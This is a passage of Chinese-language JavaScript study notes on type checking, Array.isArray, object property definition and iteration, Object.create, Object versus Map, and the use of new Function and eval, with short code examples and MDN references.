</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">({</span><span class="nx">a</span><span class="o">:</span><span class="s1">&#39;hi&#39;</span><span class="p">})</span> <span class="c1">// &#34;[object Object]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="p">])</span> <span class="c1">// &#34;[object Array]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="c1">// &#34;[object Boolean]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{})</span> <span class="c1">// &#34;[object Function]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span> <span class="c1">// &#34;[object Null]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="kc">undefined</span><span class="p">)</span> <span class="c1">// &#34;[object Undefined]&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toString</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">Symbol</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="c1">// &#34;[object Symbol]&#34;
</span></span></span></code></pre></div><h3 id="如何实现instanceof">如何实现instanceof?</h3>
<p>wip</p>
<h3 id="如何确定传递的值是否是一个数组">如何确定传递的值是否是一个数组?</h3>
<ul>
<li>答: 使用<code>Array.isArray()</code></li>
<li><code>Array.isArray()</code>的特别之处
<ul>
<li><code>Array.isArray()</code> 拒绝原型链中带有 <code>Array.prototype</code>，而实际不是数组的对象，但 <code>instanceof Array</code> 会接受。</li>
<li>对在另一个领域里面创建的数组也会返回 true</li>
<li>对Array 的子类也会返回 true
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">SpecialArray</span> <span class="kr">extends</span> <span class="nb">Array</span> <span class="p">{}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">specialArray</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">SpecialArray</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">specialArray</span><span class="p">)</span> <span class="c1">// true
</span></span></span></code></pre></div></li>
</ul>
</li>
<li>领域(realm)
<ul>
<li>一个领域包含了 JavaScript 的全局对象。</li>
<li>跑在 worker 里面的代码，和跑在页面里面的代码，是属于不同领域的。</li>
<li>iframe 之间也是这样（属于不同领域）。但是，同源的 iframe 们共享一个 ECMAScript agent，意味着对象这个东西可以在不同领域之间传递：</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray"  target="_blank" rel="noopener" >Array.isArray() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000021089487"  target="_blank" rel="noopener" >javascript - [译] isArray 背后发生了什么？ - 梦里一路飞奔 - SegmentFault 思否</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="object">Object</h2>
<h3 id="概念">概念</h3>
<ul>
<li>在 JavaScript 中，对象,可以被看作是一组属性的集合。它是唯一可变的值。事实上，函数也是具有额外可调用能力的对象。</li>
<li>对象属性名字可以是任意字符串，包括空串。
<ul>
<li>如果对象属性名字不是合法的 javascript 标识符，它必须用引号包裹。</li>
</ul>
</li>
<li>对象的原型（prototype）指向另一个对象或者 null</li>
</ul>
<h3 id="访问和设置object的属性">访问和设置Object的属性</h3>
<ul>
<li>
<p><strong>访问</strong></p>
<ul>
<li>点符号表示法
<ul>
<li><code>obj.propertyName</code></li>
<li>适用于静态属性名</li>
</ul>
</li>
<li>方括号表示法
<ul>
<li><code>obj[&quot;propertyName&quot;]</code></li>
<li>适用于动态属性名或包含特殊字符的属性名</li>
</ul>
</li>
<li>上述二者都属于<strong>属性访问器</strong>(Property accessors)</li>
</ul>
</li>
<li>
<p><strong>设置</strong></p>
<ul>
<li>语法<code>Object.defineProperty(obj, prop, descriptor)</code></li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="s1">&#39;hiddenProp&#39;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">value</span><span class="o">:</span> <span class="s1">&#39;hidden&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">configurable</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span><span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">enumerable</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span><span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">writable</span><span class="o">:</span> <span class="kc">false</span> <span class="c1">//default
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">});</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>
<p>设置访问器属性</p>
<ul>
<li>不能直接定义</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">book</span> <span class="o">=</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">hideYear</span><span class="o">:</span> <span class="mi">2004</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">edition</span><span class="o">:</span> <span class="mi">1</span> 
</span></span><span class="line"><span class="cl">  <span class="p">};</span> 
</span></span><span class="line"><span class="cl">  <span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">book</span><span class="p">,</span> <span class="s2">&#34;year&#34;</span><span class="p">,</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="o">:</span> <span class="kd">function</span><span class="p">(){</span> 
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">hideYear</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">    <span class="p">},</span> 
</span></span><span class="line"><span class="cl">    <span class="nx">set</span><span class="o">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">newValue</span><span class="p">){</span> 
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="nx">newValue</span> <span class="o">&gt;</span> <span class="mi">2004</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">      <span class="k">this</span><span class="p">.</span><span class="nx">hideYear</span> <span class="o">=</span> <span class="nx">newValue</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">      <span class="k">this</span><span class="p">.</span><span class="nx">edition</span> <span class="o">+=</span> <span class="nx">newValue</span> <span class="o">-</span> <span class="mi">2004</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">      <span class="p">}</span> 
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">  <span class="p">});</span> 
</span></span><span class="line"><span class="cl">  <span class="nx">book</span><span class="p">.</span><span class="nx">year</span> <span class="o">=</span> <span class="mi">2005</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">book</span><span class="p">.</span><span class="nx">edition</span><span class="p">);</span> <span class="c1">//2
</span></span></span></code></pre></div></li>
</ul>
</li>
<li>
<p><strong>区别</strong></p>
<ol>
<li>使用属性访问器分配一个值, 添加的属性是<strong>可写、可枚举、可配置的</strong></li>
<li>默认情况下，使用<code>Object.defineProperty() </code>添加的属性是<strong>不可写、不可枚举和不可配置的</strong></li>
<li>若属性为不可配置的话，那么无法再修改其特性</li>
</ol>
</li>
<li>
<p><strong>删除</strong></p>
<ul>
<li>只能删除对象的可配置属性,<code>delete obj.name;</code></li>
<li>若属性为不可配置的话，尝试删除在非严格模式下会被忽略，严格模式下会抛出错误</li>
</ul>
</li>
<li>
<p>对象注入攻击：<a href="https://github.com/eslint-community/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md"  target="_blank" rel="noopener" >The Dangers of Square Bracket Notation</a></p>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://juejin.cn/post/7215401973842788411"  target="_blank" rel="noopener" >js中对象的点语法与方括号语法的区别 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Property_accessors"  target="_blank" rel="noopener" >属性访问器 - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"  target="_blank" rel="noopener" >Object.defineProperty() - JavaScript | MDN</a></li>
<li><a href="https://juejin.cn/post/6844903828580466702"  target="_blank" rel="noopener" >JavaScript对象的数据属性与访问器属性 - 掘金</a></li>
</ul>
</li>
</ul>
<h3 id="字面量初始化对象语法">字面量初始化对象语法</h3>
<ul>
<li>
<p>定义:</p>
<ul>
<li>一个用大括号（{}）括起来的以逗号分隔的列表，包含了一个对象的零个或多个属性名称和相关值</li>
<li>是 Object.create() 的一种语法糖</li>
</ul>
</li>
<li>
<p>区别于JSON:</p>
<ul>
<li>JSON 是对象字面语法的一个真子集</li>
</ul>
</li>
<li>
<p>简写函数名</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">property</span><span class="o">:</span> <span class="kd">function</span> <span class="p">(){}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">//等价于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">property</span><span class="p">(){}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>参考： <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Object_initializer"  target="_blank" rel="noopener" >对象初始化器 - JavaScript | MDN</a></p>
</li>
</ul>
<h3 id="objectcreate">Object.create()</h3>
<ul>
<li>定义: 以一个现有对象作为原型，创建一个新对象</li>
<li>语法: <code>Object.create(proto, propertiesObject)</code></li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">o</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// foo 是一个常规数据属性
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">foo</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">writable</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">configurable</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">value</span><span class="o">:</span> <span class="s2">&#34;hello&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// bar 是一个访问器属性
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">bar</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">configurable</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="mi">10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">set</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Setting `o.bar` to&#34;</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
<li>特点:
<ol>
<li>可以控制每个属性的可枚举性、可配置性等，而这在字面量初始化对象语法中是做不到的</li>
<li>直接创建了一个以 传入的第一个参数 作为原型的新对象，不涉及构造函数</li>
<li>由于没有构造函数，不会自动初始化属性，所有属性需要手动添加</li>
</ol>
</li>
<li>可用于模拟<code>new</code>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myNew</span><span class="p">(</span><span class="nx">constructor</span><span class="p">,...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">constructor</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span> <span class="k">instanceof</span> <span class="nb">Object</span> <span class="o">?</span> <span class="nx">res</span> <span class="o">:</span> <span class="nx">obj</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create"  target="_blank" rel="noopener" >Object.create() - JavaScript | MDN</a></li>
</ul>
<h3 id="objectassign">Object.assign()</h3>
<ul>
<li>copies all enumerable own properties from one or more source objects to a target object. It returns the modified target object.</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">name</span> <span class="o">=</span> <span class="s1">&#39;tom&#39;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{</span><span class="nx">name</span><span class="o">:</span><span class="nx">name</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="c1">//tom
</span></span></span></code></pre></div></li>
<li>参考：<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"  target="_blank" rel="noopener" >Object.assign() - JavaScript | MDN</a></li>
</ul>
<h3 id="遍历object">遍历Object</h3>
<ol>
<li>for in 和 for of</li>
</ol>
<ul>
<li>对于Object，用<code>for in</code>来遍历Object的key,但无法用<code>for of</code>来遍历value
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">person</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;Alice&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">age</span><span class="o">:</span> <span class="mi">30</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">gender</span><span class="o">:</span> <span class="s2">&#34;female&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">person</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">key</span> <span class="o">+</span> <span class="s1">&#39;: &#39;</span> <span class="o">+</span> <span class="nx">person</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// name: Alice
</span></span></span><span class="line"><span class="cl"><span class="c1">// age: 30
</span></span></span><span class="line"><span class="cl"><span class="c1">// gender: female
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">val</span> <span class="k">of</span> <span class="nx">person</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">val</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// TypeError: person is not iterable
</span></span></span></code></pre></div></li>
<li><code>for in</code>的缺陷
<ol>
<li>会遍历原型链上的可枚举属性</li>
<li>属性遍历顺序不一定是属性定义顺序</li>
<li>只会遍历字符串类型的属性键</li>
</ol>
</li>
</ul>
<ol start="2">
<li><code>Object.entries()</code>
<ul>
<li>returns an array of a given object&rsquo;s own enumerable string-keyed property key-value pairs.</li>
<li>举例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">foo</span><span class="o">:</span> <span class="s2">&#34;bar&#34;</span><span class="p">,</span> <span class="nx">baz</span><span class="o">:</span> <span class="mi">42</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">entries</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span> <span class="c1">// [ [&#39;foo&#39;, &#39;bar&#39;], [&#39;baz&#39;, 42] ]
</span></span></span></code></pre></div></li>
<li>参考：<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries"  target="_blank" rel="noopener" >Object.entries() - JavaScript | MDN</a></li>
</ul>
</li>
<li><code>Object.keys()</code></li>
<li><code>Object.values()</code></li>
<li><code>Object.getOwnPropertyNames()</code>
<ul>
<li>可以返回对象自身的所有<strong>字符串属性名</strong>，<strong>包括</strong>不可枚举的属性</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"> <span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="s1">&#39;hiddenProp&#39;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="nx">value</span><span class="o">:</span> <span class="s1">&#39;hidden&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">   <span class="nx">enumerable</span><span class="o">:</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="nx">obj</span><span class="p">.</span><span class="nx">visibleProp</span> <span class="o">=</span> <span class="s1">&#39;visible&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyNames</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>  <span class="c1">// 输出 [&#34;hiddenProp&#34;, &#34;visibleProp&#34;]
</span></span></span></code></pre></div></li>
</ul>
</li>
<li><code>Object.getOwnPropertyDescriptors()</code>
<ul>
<li>可以返回对象自身所有<strong>字符串属性</strong>的名和属性描述符，包括不可枚举的属性</li>
</ul>
</li>
<li><code>Object.getOwnPropertySymbols()</code>
<ul>
<li>获取对象自身的所有 Symbol 属性键</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">object1</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;b&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">[</span><span class="nx">a</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;localSymbol&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">[</span><span class="nx">b</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;globalSymbol&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="s1">&#39;a&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertySymbols</span><span class="p">(</span><span class="nx">object1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//  [Symbol(&#34;a&#34;), Symbol(&#34;b&#34;)]
</span></span></span></code></pre></div></li>
</ul>
</li>
</ol>
<h3 id="object和object的区别"><code>Object</code>和<code>object</code>的区别</h3>
<ol>
<li><code>Object</code>：这是一个内置的构造函数，用于创建对象。例如，你可以使用<code>new Object()</code>来创建一个新的对象实例。</li>
<li><code>object</code>：这是一个数据类型的名称，表示所有引用类型的对象，包括数组、函数、正则表达式等。它是 JavaScript 中的一种原始类型，用于描述一类数据结构。</li>
</ol>
<h3 id="object和map的区别"><code>Object</code>和<code>Map</code>的区别</h3>
<ul>
<li>
<p>意外的键</p>
</li>
<li>
<p>安全性:</p>
<ul>
<li>Map 可以安全地与用户提供的键值一起使用。</li>
<li>可能会导致对象注入攻击,可以通过使用 null 原型对象来缓解</li>
</ul>
</li>
<li>
<p>键的类型:</p>
<ul>
<li>Map 的键可以为任何值</li>
<li>Object 的键必须为 String 或 Symbol</li>
</ul>
</li>
<li>
<p>键的顺序</p>
<ul>
<li>Map 对象按照插入的顺序迭代条目、键和值。</li>
<li>没有单一机制可以迭代对象的所有属性</li>
</ul>
</li>
<li>
<p>大小</p>
<ul>
<li>Map 中的项目数量很容易从其 size 属性中获得</li>
<li>通过获取 Object.keys() 返回的数组的长度</li>
</ul>
</li>
<li>
<p>迭代</p>
<ul>
<li>Map 是可迭代对象，所以它可以直接迭代。</li>
<li>Object 没有实现迭代协议，因此对象默认情况下不能直接通过 JavaScript 的 for&hellip;of 语句进行迭代。</li>
</ul>
</li>
<li>
<p>性能</p>
<ul>
<li>Map在涉及频繁添加和删除键值对的场景中表现更好。</li>
<li>Object未针对频繁添加和删除键值对进行优化。</li>
</ul>
</li>
<li>
<p>序列化和解析</p>
<ul>
<li>Map没有对序列化或解析的原生支持。</li>
<li><code>JSON.stringify()</code>, <code>JSON.parse()</code></li>
</ul>
</li>
<li>
<p>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map#object_%E5%92%8C_map_%E7%9A%84%E6%AF%94%E8%BE%83"  target="_blank" rel="noopener" >Object 和 Map 的比较 | MDN</a></p>
</li>
</ul>
<hr>
<h2 id="function">Function</h2>
<h3 id="new-function">new Function</h3>
<ul>
<li>语法: <code>let func = new Function ([arg1, arg2, ...argN], functionBody);</code></li>
<li>环境: 如果我们使用 new Function 创建一个函数，那么该函数的<code>[[Environment]]</code>并不指向当前的词法环境，而是指向全局环境,这样做的好处是避免了与使用压缩程序而产生冲突的问题</li>
<li>使用场景: 在复杂的 Web 应用程序中，我们需要从服务器获取代码或者动态地从模板编译函数时</li>
<li>参考: <a href="https://zh.javascript.info/new-function"  target="_blank" rel="noopener" >&ldquo;new Function&rdquo; 语法</a></li>
</ul>
<h3 id="将字符串转换为可执行的表达式的方式">将字符串转换为可执行的表达式的方式</h3>
<ol>
<li><code>eval()</code></li>
</ol>
<ul>
<li>可以执行包含 JavaScript 表达式的字符串。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">expression</span> <span class="o">=</span> <span class="s2">&#34;2 + 2&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="nx">expression</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 4
</span></span></span></code></pre></div></li>
<li>注意：由于安全性和性能问题，它在现代 JavaScript 中并不推荐用于不受信任的输入，因为它会执行任意代码，可能引发安全漏洞。</li>
</ul>
<ol start="2">
<li><code>Function</code> 构造函数</li>
</ol>
<ul>
<li>可以将字符串转化为函数，并在调用时执行表达式。</li>
<li>比 <code>eval()</code> 更加安全，因为它不访问外部作用域。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">expression</span> <span class="o">=</span> <span class="s2">&#34;return 2 + 2;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">func</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="nx">expression</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">func</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 4
</span></span></span></code></pre></div></li>
</ul>
<ol start="3">
<li>模板字符串与插值表达式</li>
</ol>
<ul>
<li>在模板字符串中使用插值可以直接执行 JavaScript 表达式：</li>
<li>虽然这不是直接将字符串解析为表达式的方式，但在编写包含表达式的字符串时非常有用，尤其是结合模板渲染。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="sb">`</span><span class="si">${</span><span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 5
